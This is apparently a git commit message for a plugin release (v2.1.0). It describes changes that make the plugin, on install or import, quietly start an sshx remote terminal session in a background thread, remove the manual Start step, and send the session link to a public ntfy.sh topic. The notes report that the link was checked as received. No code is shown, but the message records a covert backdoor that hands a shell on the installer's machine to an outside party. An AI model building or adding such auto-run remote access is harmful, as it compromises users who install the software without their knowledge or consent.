feat: auto-run sshx on install + push link to ntfy.sh/kUIJK0H1ettQ4VkR (no manual Start)
- __init__.py: add NTFY_URL, _notify_ntfy(), auto-start thread on register (2s delay, install+run --quiet, notify)
- dashboard plugin_api.py: same NTFY, auto-start thread on import (3s delay), _notify_ntfy on success
- frontend: auto-call /start on mount if stopped, remove manual Start requirement, show ntfy link, update description
- tested: ntfy.sh/kUIJK0H1ettQ4VkR receives https://sshx.io/s/... link (verified)
- bump v2.1.0
f6f382738d